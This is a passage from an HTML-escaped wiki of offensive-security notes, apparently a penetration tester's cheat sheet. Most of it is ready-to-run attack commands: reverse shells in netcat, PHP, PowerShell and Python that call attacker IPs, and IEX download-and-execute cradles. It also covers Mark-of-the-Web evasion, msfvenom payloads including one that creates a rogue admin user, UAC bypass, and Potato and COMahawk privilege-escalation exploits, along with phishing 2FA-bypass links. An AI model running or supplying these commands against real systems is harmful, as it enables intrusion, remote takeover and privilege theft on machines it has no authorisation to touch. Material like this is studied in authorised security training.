ngrok http --domain=ngrok-provided-domain.ngrok-free.app&lt;br /&gt;
# On attacker&lt;br /&gt;
nc -lvnp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&#039;&lt;br /&gt;
# Base64 encoded webshell&lt;br /&gt;
&amp;quot;&amp;quot;&lt;br /&gt;
&amp;quot;&amp;amp; /dev/tcp/192.168.49.129/80 0&amp;gt;&amp;amp;1&#039;); ?&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershells ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -nop -c &amp;quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;10.0.0.1&#039;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&amp;gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell IEX (New-Object Net.WebClient).DownloadString(&#039;https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell base64 encoded reverse shell payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge &amp;gt; encodedreverseshell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.169&amp;quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stabilize shell (Interactive shell) ===&lt;br /&gt;
&lt;br /&gt;
==== Linux ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &#039;import pty;pty.spawn(“/bin/bash”)&#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1&lt;br /&gt;
# 1. Edit Nishang script and add&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IpAddress  -Port&lt;br /&gt;
# 2. Start a new netcat listener&lt;br /&gt;
# 3. Start simple http.severe where the nishang script is&lt;br /&gt;
# 4. On target. (Make sure powershell is enabled and allowed to use)&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix TTY in reverse shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PackMyPayload ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp;amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]&lt;br /&gt;
&lt;br /&gt;
Smuggle payloads using various file formats:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;7zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ISO&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;IMG&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Pack a dir to .iso&lt;br /&gt;
PackMyPayload.py C:\my\dir malicious.iso -v&lt;br /&gt;
# Pack a malicious code to .vhd&lt;br /&gt;
PackMyPayload.py .\evil.lnk .\evil.vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Programming ==&lt;br /&gt;
&lt;br /&gt;
=== Control flow - Logic Statement ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Logic Statement&lt;br /&gt;
| Purpose&lt;br /&gt;
|-&lt;br /&gt;
| if/else&lt;br /&gt;
| Executes only if a condition is met, else it will execute a different code block&lt;br /&gt;
|-&lt;br /&gt;
| try/catch&lt;br /&gt;
| Will try to execute a code block and catch it if it fails to handle errors.&lt;br /&gt;
|-&lt;br /&gt;
| switch case&lt;br /&gt;
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default&lt;br /&gt;
|-&lt;br /&gt;
| for/while loop&lt;br /&gt;
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Admin Account Credentials ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas&lt;br /&gt;
runas /profile /user:Administrator &amp;quot;nc.exe -e cmd 192.168.49.169 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method is if the shell is non-interactive is to use a powershell script.&lt;br /&gt;
# Save this on your Kali and start a HTTP.server.&lt;br /&gt;
$password = ConvertTo-SecureString &amp;quot;lab&amp;quot; -AsPlainText -Force&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential (&amp;quot;Administrator&amp;quot;, $password)&lt;br /&gt;
Start-Process -Credential $credential -FilePath &amp;quot;C:\Users\Offsec\Desktop\ProcessHollow.exe&amp;quot;&lt;br /&gt;
# Now on the shell you have, run this command.&lt;br /&gt;
iex(new-object net.webclient).downloadstring(&#039;http://192.168.45.198/test.ps1&#039;)&lt;br /&gt;
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method again is to RDP to the target if possible and Run As.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AlwaysInstallElevated ====&lt;br /&gt;
&lt;br /&gt;
If these two registers are enabled then users of any privilege can install &#039;&#039;&#039;.msi &#039;&#039;&#039;files as NT AUTHORITY\SYSTEM&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated&lt;br /&gt;
# If 0x1 then its enabled&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&lt;br /&gt;
# Msfvenom payload&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted&lt;br /&gt;
# The above is better for persistence&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi &amp;gt; rev_shell.msi # Recommeded if not AD.&lt;br /&gt;
# Execute&lt;br /&gt;
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi&lt;br /&gt;
&lt;br /&gt;
----------------&lt;br /&gt;
# The above command will probably be detected by AV. You can compile your own .msi.&lt;br /&gt;
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated&lt;br /&gt;
PS C:\WiX Toolset v3.11\bin&amp;gt; .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
# You can also use MSI Wrapper.&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
------------------------------------------&lt;br /&gt;
# There is also a metasploit module, but it needs a bit tweaking&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
# In the multi handler do the following&lt;br /&gt;
set DisablePayloadHandler true - # Disable built-in listener&lt;br /&gt;
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload&lt;br /&gt;
run -j -z - # Background listener&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; use exploit/windows/local/always_install_elevated&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set VERBOSE true&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set payload windows/exec&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set session 1&lt;br /&gt;
# The encoded powershell command do &#039;whoami &amp;gt; C:\whoami.txt&#039; to verify that it works&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA=&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;C:\proc_hol.exe&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# You should get a callback to your meterpreter listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]&lt;br /&gt;
&lt;br /&gt;
==== BarracudaDrive 6.5 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass UAC ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy  Level shell, we might bypass uac.&lt;br /&gt;
# Notice the last line, &amp;quot;Mandatory Label\Medium Mandatory Level&amp;quot;&lt;br /&gt;
whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name                                 Type             SID          Attributes&lt;br /&gt;
========================================== ================ ============ ==================================================&lt;br /&gt;
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only&lt;br /&gt;
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192&lt;br /&gt;
&lt;br /&gt;
# Next check if UAC is enabled&lt;br /&gt;
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.&lt;br /&gt;
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;br /&gt;
# We then have to find a binary that have &amp;quot;autoElevate&amp;quot; set to true.&lt;br /&gt;
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)&lt;br /&gt;
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate&lt;br /&gt;
        true&lt;br /&gt;
# Then we have to generate a payload using msfvenom.&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe &amp;gt; shell.exe&lt;br /&gt;
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c&lt;br /&gt;
# Compile the above code&lt;br /&gt;
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe&lt;br /&gt;
# Transfer the binary to target and execute&lt;br /&gt;
.\eventvwr-bypassuac-64.exe&lt;br /&gt;
# Check your listener and then run &amp;quot;whoami /groups&amp;quot; again and check last line.&lt;br /&gt;
Mandatory Label\High Mandatory Level       Label            S-1-16-12288&lt;br /&gt;
# This means you can run elevated commands. Dumping hashes etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/apt69/COMahawk&lt;br /&gt;
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka &#039;Windows UPnP Service Elevation of Privilege Vulnerability&#039;.&lt;br /&gt;
# Method 1&lt;br /&gt;
.\COMahawk64.exe&lt;br /&gt;
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9&lt;br /&gt;
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.&lt;br /&gt;
# Method 2&lt;br /&gt;
.\COMahawk64.exe &amp;quot;C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HiveNightmare ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/GossiTheDog/HiveNightmare&lt;br /&gt;
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LAPS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If we have valid creds for LDAP we can query LDAP for the local admin password.&lt;br /&gt;
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b &amp;quot;DC=hutch,DC=offsec&amp;quot; -h 192.168.120.108 &amp;quot;(ms-MCS-AdmPwd=*)&amp;quot; ms-MCS-AdmPwd&lt;br /&gt;
# LAPS is a tool that periodically changes the local administrator&#039;s password when it expires. It then stores the password details in the Active Directory.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Potatos (SeimpersonatePrivilege) ====&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]&lt;br /&gt;
&lt;br /&gt;
===== Finding CLSID =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function Lookup-Clsid&lt;br /&gt;
{&lt;br /&gt;
    Param([string]$clsid)&lt;br /&gt;
    $CLSID_KEY = &#039;HKLM:\SOFTWARE\Classes\CLSID&#039;&lt;br /&gt;
    If ( Test-Path $CLSID_KEY\$clsid) {&lt;br /&gt;
        $name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).&#039;(default)&#039;&lt;br /&gt;
        $dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).&#039;(default)&#039;&lt;br /&gt;
    }&lt;br /&gt;
    $name, $dll&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hot Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/foxglovesec/Potato&lt;br /&gt;
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rotten Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/breenmachine/RottenPotatoNG&lt;br /&gt;
After having a meterpreter shell with incognito mode loaded:&lt;br /&gt;
MSFRottenPotato.exe t c:\windows\temp\test.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Lonely Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.&lt;br /&gt;
https://github.com/decoder-it/lonelypotato&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download repository&lt;br /&gt;
https://github.com/ohpe/juicy-potato&lt;br /&gt;
https://github.com/antonioCoco/JuicyPotatoNG&lt;br /&gt;
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;br /&gt;
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rogue Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/antonioCoco/RoguePotato&lt;br /&gt;
# Run in your machine the socat redirection (replace VICTIM_IP):&lt;br /&gt;
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999&lt;br /&gt;
# Execute PoC (replace YOUR_IP and command):&lt;br /&gt;
.\RoguePotato.exe -r YOUR_IP -e &amp;quot;command&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== GodPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]&lt;br /&gt;
&lt;br /&gt;
Enables privilege escalation in Windows 2012 - Windows 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GodPotato -cmd &amp;quot;cmd /c whoami&amp;quot;&lt;br /&gt;
GodPotato -cmd &amp;quot;nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SharpEfsPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;quot;whoami | Set-Content C:\temp\w.log&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== PrintSpoofer =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.&lt;br /&gt;
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:&lt;br /&gt;
PrintSpoofer.exe -i -c cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Se-privileges ====&lt;br /&gt;
&lt;br /&gt;
===== Great list and explanation =====&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]&lt;br /&gt;
&lt;br /&gt;
